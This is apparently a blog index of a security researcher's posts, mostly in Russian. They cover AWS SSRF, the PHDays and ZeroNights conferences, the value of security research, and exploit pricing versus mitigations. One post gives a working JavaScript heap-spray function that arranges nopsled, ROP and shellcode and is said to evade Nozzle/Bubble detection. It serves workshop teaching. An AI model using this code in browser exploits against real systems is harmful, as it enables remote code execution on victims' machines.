SSRF vs AWS Security

Hello everyone...

Just want to mention one attack-vector that is useful against AWS EC2 instances in some configurations. It is not rocket-science, but pretty fun and tell us about AWS Cloud security things and maybe can help us to do hardening. Actually I am talking about boring-sold SSRF vector. So if an attacker can do SSRF in our EC2 with SSRF what he can do?

Sometimes developers like to assign IAM Roles to instances. For example if it is deploy/build server, that needs to create new apps in AWS account or something else, doesn't matter - this just happens 8) And assigning roles to EC2 instances  - easiest way you can do it, because you do not need to think about how to deliver  Access Keys to the instance, how to rotate them and etc. Now back to SSRF...

So we have classic vulnerable App with boring XXE:

And...

PHDays III

Дошли и мои руки, наконец-то, до разбора данного события. Я уже не торт и много печатать не буду, но все же поделюсь впечатлениями.

Stage 0.

Летел я из Берлина, что забавно с рюкзаком PHDays 2012, и что еще более забавно в самолете оказались еще парни, которые так же выдвигались на данный ивент - Йохан, Даниель (создатели SCADA and Computer Security Group - SCADACS)  и Джефф Кац aka aestetix. То есть нас всех засадили в один самолет - это мило. И сидели мы относительно рядом 8) И что примечательно, обратно мы тож летели вместе. Так вот я и познакомился с этими милыми мужиками. 

Интересный случай с SSRF.

В последнее время в Интернетах и в узком кругу ИБ специалистов активно обсуждаются концепты, примеры и техники проведения  “новой” атаки - SSRF. Хотелось бы рассказать об одной такой атаке. Данный случай интересен и тем, что его трудно классифицировать по существующим меркам “угроза-уязвимость”. То есть, есть конкретная атака и есть реализация конкретной угрозы, но если разбирать “уязвимости” отдельно, то угрозы - другие. И этот пример, на мой скромный взгляд, показывает, что “теория ИБ” и классификация в нашей теме - сильно отстает от практики и не всегда применима в том виде, что она есть сейчас.

“Взломай меня полностью”

На тему круглого стола...

Ну вот, начало конца этого блога уже скоро 8) Тем не менее, иногда прет... да надо молчать, но иногда остановить некому, итак, блого-запись на тему Ресерчeров, девелоперов, баг-хантеров и ИБ индустрии...

Преамбула.

На прошедшей конфе #Zeronights эта тема была вынесена в отдельный поток "круглого стола", но тема зародилась давно, и уже мусолилась у Токсы, и на Риспе:

• http://toxa.livejournal.com/552663.html
• http://www.linkedin.com/groups/DSEC-ERPScan-%D0%BD%D0%B0-Black-Hat-3189141.S.181404786 (не для слабонервных)

Поток.

В контексте этой истории - xakep.ru/post/59715/  все это хорошо объяснимо. Для чего делаются исследования? Вот если ответить на этот вопрос, честно и беспристрастно, то станет понятно, что большинство ресерча бесполезно, ибо цели интересны узкому кругу лиц. Вообще ИБ индустрия - это узкий круг лиц, и рынок там - "натуральное хозяйство". ИБшники это кто, возьмем систему Тохи:

1) Менеджеры ИБ в компаниях.
2) Ресерчеры - баг-хантеры.
3) Вендоры ИБ
4) Регуляторы

И что получается? Что система замкнута. Ресерчеры изображает из себя хакеров, находят XSS, хвастаются ею, создают повод, для того, что бы менеджер ИБ могу купить то, что произвел на свет вендор ИБ. А еще есть Регуляторы, которые тупо говорят: всем покупать и тратить деньги, иначе рынок умрет 8)  В 90% рынка - это так (субъективное мнение). Это тупик. Провал. В итоге мы имеем тонны Г.Пиара от Ресерчеров, которые хотят куски котлет. Вендоров ИБ, которые встроились в систему.  В итоге что же ресерчеры? Они тоже бывают разными, кто делает ресерч ради фана, кто ради ПР и бизнеса, кто ради реальной цели - взломать что-то. Так вот в последнем случае это хотя бы оправданный ресерч. Человек хочет что-то сломать, делает исследование, находит багу, методу, вектор атаки, ломает и приносит себе реальную выгоду. А ради фана? Смотри пример с электронными замками. Чувак получил фан, сгонял в Лас-Вегас, но на этом все. Пользу получили воры. Все остальные (разработчики, владельцы) только ущерб. ИМХО: полезность такой ресерч принес бы только бы только в процессе разработки.

Вывод.

ИБ-ресерч в отрыве от процесса разработки и эксплуатации - бесполезен. Да вы нашли 100 багов, ну 1000, ну и что? Их еще потом 1000 будет, после вас, другие то же найдут. Гонятся за цифрами или ПР-ом  круто, но толку вселенной это не принесет.  Актуальность некоторых ресерчей - то же большой вопрос. ИБ - индустрия, особенно в России (но на самом деле на западе примерно такая же идея, только чуть впереди по развитию) - жалкое зрелище, есть отдельные исключения, но в целом, все вместе - унылая ветка по срубанию бабла. До 200x года было веселее, тогда люди делали ресерч ради реального профита и угара, и это двигало всех совершенствовать защиту и развивать процессы, но теперь все застопорилось.

Не претендую на правдивость всего сказанного или того, что я буду так думать через какое-то время, но уверен, что ИБ в отрыве от разработчиков, процессов и эксплуатации - просто махание шашкой. Консультанты, интеграторы, регуляторы - просто элементы системы иногда даже паразитические 8)

HeapSpray

Мини блого-запись  о хипспрее.

Забавно, но в Интернетах говорят о всяких Bubble и Nozzle, и в частности относительно FF и IE9. Я вот прочитав следующие блоги:

https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
http://www.greyhathacker.net/?p=549

... был убежден в эффективности данных методов и даже рассказывал об этом на воркшопе, но сегодня захотелось мне определить порог детектирования HeapSpray. И тут то я понял, что истинная причина того, почему все эти методы из блогов работают, не в том, что они добавляют рандомный  код в начали строки и обманывают сложные алгоритмы, а в том, что там есть конкатенация в цикле. Другими словами не надо усложнять код и добавлять счетчик или не-ассемблерные инструкции и тд. Достаточно сделать конкатенацию! Все просто, не усложняйте себе жизнь ;)

P.S. Прошу считать это за дополнение к воркшопу, где рассказывалось об методе Корелана. Теперь рабочий код для HeapSpray много проще (greyhathacker.net базовый вариант):

1. var heap_chunks;
2. function heapSpray(rop,shellcode,nopsled)
3. {
4.          var chunk_size, headersize, nopsled_len, code;
5.          var i, codewithnum;
6.          log.innerHTML+="<br><b>Stage 2. HeapSpraay...";
7.          chunk_size = 0x40000;
8.          headersize = 0x10;
9.          nopsled_len = chunk_size - (headersize + rop.length + shellcode.length);
10.          while (nopsled.length < nopsled_len)
11.                 nopsled += nopsled;
12.          nopsled = nopsled.substring(0, nopsled_len);
13.          code = nopsled + rop + shellcode;                            
14.          heap_chunks = new Array();
15.          for (i = 0 ; i < 1000 ; i++)
16.          {
17.                 codewithnum = "HERE" + code;
18.                 heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
19.          }
20.  }

ZeroNights 2012

В преддверие Zeronights Episode 0x02, хотел бы поделится той работой что я проделал для этой конфы  и мыслями по этому поводу. Инсайд.

  Я конечно со-организатор, но  что это значит? В основном то, что  ты говоришь другим организаторам свое виденье того,  что и как должно быть, слушаешь других или споришь с ними. В финале вы все дружно принимаете решение и делаете  все по намеченному плану. Честно говоря, делать конфы - это ад. Неблагодарная работа. Ведь всем не угодишь, не то, что посетителям, но и даже своим коллегам. Было много спорных моментов, например о запуске этого самого второго эпизода в Москве, да и в других темах были споры, где у оргов мнение расходилось, но я не буду здесь писать об этом, я расскажу о практической части работы и том опыте, что я получил.

CFP

  Мне досталась роль админа панели.  В прошлом году я тоже там был, но панель сильно изменилась. Если в прошлом году были известные личности со всего мира, которым мы рассылали заявки и ждали фидбека, то в этом году все было иначе. В прошлом году было немного тупо - отправил ты, значит, людям пачку текстовок и ждешь... ждешь... не динамично это. Потом не все отсылали вес вовремя, а кое-кто вообще забыл 8)  Так что мне не понравилось делать это по мылу. В этом году CFP была 'online', прямо в гугл-доках. Каждый мог в своем столбике откомментить тот или иной доклад, поставить цветовую оценку. Красиво, наглядно и эффективно. Кто оценивал? Все те кто принимает участие в жизни DCG#7812. Кто откликнулся в группе (кстати не много, кто), кто захотел повлиять на список докладов, тот это мог сделать и сделал. Имена я называть не буду, кто хочет сам расколется ) Но в основном это всем нам знакомые имена, так сказать лучшие представители Российской белой сцены. Плюсы очевидны - живая дискуссия, каждый рецензент имеет опыт кто в чем, и поэтому и веб и бинарщина была оценена по достоинству проффи.

  Мы получили ~60 заявок. И в этот раз Россиян было много! Это радует, итак: патриотический момент, процент заявок от исследователей по географическому признаку (Fast Track не включен в статистику)!

• СНГ - 44%
• Заграница - 56%

На самом деле эти показатели просто замечательные. Я горд за активность наших людей. это правильно. А теперь процент пробива: то же самое, но только по прошедшим докладам...

• СНГ - 49%
• Заграница - 51% 

Это говорит о том, что заявки в общей массе были примерно одинаковые, даже может отечественный контент  был чуточку более качественными (по мнению комиссии). Думаю что это правильно, конфа родная, отечественная, и многие готовили что-то специально для неё. К сожалению новых лиц, среди русских заявок не так уж много. Это печально. С другой стороны  - стабильно ;)

Воркшоп

Теперь про мой контент. Собственно я решил попробовать силы в создании воркшопа. Воркшоп на тему разработки эксплойтов для Win7 под x32. С уклоном в сторону браузеров. На примере IE9. Будет пройден путь от простого BoF эксплойта, до сложного BoF эксплойта, который обходит DEP, ASLR, GS /safeSEH. При этом ASLR мы обойдем двумя способами (в том числе рассмотрим как можно использовать BoF для утечки адреса из ASLR модуля, с последующим построением ROP по утекшему базовому адресу). Кроме того мы коснемся Use-After-Free багов, их эксплуатации в той же среде и так же с частным примером того как "угонять" адреса для обхода ASLR. Это я к тому, что будет не просто банальное - "а теперь обходим ASLR, так как наш модуль скомпилирован без поддержки ASLR", хотя и этот кейс мы тоже рассмотрим. Кроме того мы поговорим про  HeapSpray. Все это я ДОЛЖЕН уложить в 5 часов. Задача не простая. Я уже пробовал силы, с меньшим объемом информации в сентябре на встречи DCG - пошло туго, особенно если много народу 8( Поэтому базовые вопросы написания эксплойтов я буду не полностью разжевывать.  Кстати, судя по всему, мой воркшоп будет на второй день конфы, а в первый день будет похожий воркшоп (4 часа) от Рика Флореза из Rapid7, там будет заточка на метасплойт и базовые вещи.  Да... программа будет насыщенной... не знаю даже как я бы поступил... и на воршоп идти охота и доклады послушать..ппц, а еще же конкурсы...

Конкурс

В прошлом году я написал один левел для Zeronights Hack-Quesr, который делал ONsec,  такой простой левел с AES-CBC. Его многие прошли, судя по врайтапам, что не плохо 8) В этом году мы с друзьями решили замутить небольшой хакквест. Он продет в рамках конференции. начнется в первый день.... и до победного конца. Это будет гонка. Первые два финалиста получат ценные призы от NOKIA. Он не только на cекурити тематику, но и на смекалку 8) Первая часть вообще ни как не будет завязана на секурити. Мы хотели создать ПРОСТОЙ, но интересный хак-квест, который не сильно бы отвлекал от основной программы. Но в конце надо будет пописать сплойты, так что...

Как вы понимаете, на конфе будет еще много чего интересного, например, что отметил бы лично я:

Про воркшопы мы уже говорили, но их будет МНОГО и они будут крутыми, еще ДАЛЕКО не вся программа опубликована, но из того что уже доступно, кроме Рика Флореза, будет любопытный воркшоп про RFID - http://2012.zeronights.ru/workshop#salamatin-cumanov . Это точно стоит посетить, кроме того доклады про безопасность Авиа систем (http://2012.zeronights.ru/program#kostin) и Ruby (http://2012.zeronights.ru/program#joernchen) вызывают у меня не поддельный интерес, я уже не говорю про то, что Владимир Воронцов с Александром Головко решили нам раскрыть 0дэй техники в своем докладе -  http://2012.zeronights.ru/program#vorontsov-golovko . Интересным обещает быть и тема Никиты  про безопасность NFC и EMV - http://2012.zeronights.ru/program#abdullin. И это не все, на что я бы хотел попасть.  Быть "оргом" утомительно и не всегда будет возможность бегать по докладам 8(( Но программа получилась просто отличной на мой взгляд. Это при том, что есть еще пачка докладов, которые не в паблике, и готовятся к публикации на сайте... там еще стока вкусного, надеюсь эти имена вам о чем то говорят: Solar Designer, Алиса Esage, Никита Тараканов... да, никаких соплей, только мясо! Никаких перс-данных  и нытья про регуляторов и бумажки! Никаких дед-садовских тем в угоду пиджакам и грязного ПР на почве того, что массы не шарят в теме! Только ресерч, технологии, хитрые трюки и хаки, реальная защита и реальные атаки на то, чем мы пользуемся дома или на работе.

(Патриотичненький пост получился... хммм...)

Стоимость эксплойта...

Прочитал тут новость:  http://www.securitylab.ru/news/426076.php


Суть:

"Некий Джонатан Несс (Jonathan Ness), менеджер по информационной безопасности Trustworthy Computing (одно из подразделений Microsoft) заявил, что софтверный гигант разрабатывает методы уменьшения количества атак с использованием эксплойтов путем увеличения затрат, необходимых для обнаружения и использования уязвимостей.

...

1. Увеличение количества инвестиций, необходимых для поиска опасных уязвимостей.

2. Увеличение количества инвестиций, необходимых для написания функциональных и работоспособных эксплойтов.

3. Сокращение возможности хакеров вернуть свои инвестиции."

(с) SecurityLab

Как обычно - комментарии радуют 8)  Но я вот поделюсь своими мыслями...


На самом деле Несс прав и более того, то о чем он говорит происходит последние лет 7-8.  Печально, что читатели секлаба не видят разницы между "уязвимостью"  и "эксплойтом". Ведь на самом деле большенство уязвимостей не стоят и гроша. Хотя затраты на ихз поиск могут реально что-то стоить. но вот готовый эксплойт уже реально стоит денег. Если прикинуть, что средняя цена эксплойта под ходовой продукт будет около 100.000$, то очевидно, что для повышения стоймости разработки этого эксплойта приведет к повышению его цены.  Из чего складывается цена эксплойта для браузера или плагина к браузеру для win32 (как пример)?


1. Затраты на поиск узвимости V1
    1.1  Разработка фаззера
    1.2  Организация фаззинга (генерация данных, тестирование)
    1.3  Реверсинг и бинарный анализ
    1.4  Анализ исходных кодов (если доступны)2. Захват контроля
    2.1  Контроль EIP (ESP)
        2.1.1 Обход safeSEH
        2.1.2 Обход SEHOP
        2.1.3 Обход /GS в стеке
        2.1.4 Обход защиты кучи
    2.2  Контроль над размещением шеллкода
        2.2.1 Обход DEP (ROP/JIT Spray)
        2.2.2 Обход защит от HeapSpray (Nozzle/Bubble)
    2.3  Передача управления
        2.3.1 Обход ASLR (эксплойт утечки адреса - V2 / Spray)
3. Выполнение произвольного кода
   3.1 Обход песочницы (ring0 эксплойт V3 /  escape эксплойт V4)

В 2002 году не было пунктов 2.1.1-2.1.4, 2.2.1-2.2.2, 2.3.1 и 3.1. В 2007 году не было 2.1.2, 2.2.2,2.3.1. Очевидно, что сложность разработки эксплойтов возрастает, как и цены! Чудесный пример Сергея Глазунова - что бы захакать Хром ему понадобилось 14 мини-эксплойтов. В простейшем же случае вам нужно 2 нормальных эксплойта - под браузер или плагин + эксплойт для ринг0, что бы вырваться из песочницы. Это значит что финальная цена вырастает пропорционально. Не говоря уж и о том, что обход ASLR и DEP по прежнему часто задача творческая и требующая дополнительных усилий. Ровно неделю назад писал эксплойт под SAP 2008 года. Там был /GS и DEP и не было SEH для обхода /GS.  Задача была решена, потому что тогда GS был слабенький ;) Сейчас тот же эксплойт под SAP 2010 года уже не написать так просто, мне лично в падлу 8)  А вот под SAP 2005 года намного проще - там же /GS нету. Так что чем больше будут усложнятся механизмы защиты - тем дороже будет разработка. Ну это, как бы, очевидно. Зато вот финальная цена эксплойта будет определятся следующими показателями:

1. Популярность продукта.
2. Стабильность эксплойта
3. Статус 0Day. (0day дороже, 1day дешевле. Ваш Кэп)
4. Вектор применения (чем меньше нужно сделать "жертве" для срабатывания, тем лучше-дороже / чем легче доставить до цели - тем дороже.)
5. Время от запуска до срабатывания (чем меньше, тем лучше).
6. Насыщенность рынка


Отсюда, мне думается, что на пункт 1 производитель ни как не повлияет 8) На пункт 2 - легко, все тем mitigations что они придумывают, в этом деле легонечко помогают. Пункт 3 - могут косвенно, если сами будут искать баги или с помощью ZDI. Например поробуйте найти в windows7 stack BoF? Нету? Ага, Майкрософт уже давно все самое простое нафаззил и нашел и горе-хакерам осталось искать что-то менее тривиальное =)
4 пункт не очевиден, но в целом повлиять на него сложно не ухудшив юзабилити продукта,  на что вендоры пойти не готовы. 5 - могут. И все это приведет к тому, что кол-во эксплойтов, стабильных и дешевых станет меньше, зато качественные и стабильные, будут стоить НАМНОГО дороже, чем сейчас, ведь на рынке их будет недостаток (пункт 6). Насколько и как в таком будущем изменятся цены - я не знаю 8) Если сейчас средняя цена 100к$, то думаю в 2000 она была не такой, почти уверен, что в 10 раз ниже....  Что будет в 2020? Веселое время, однако 8)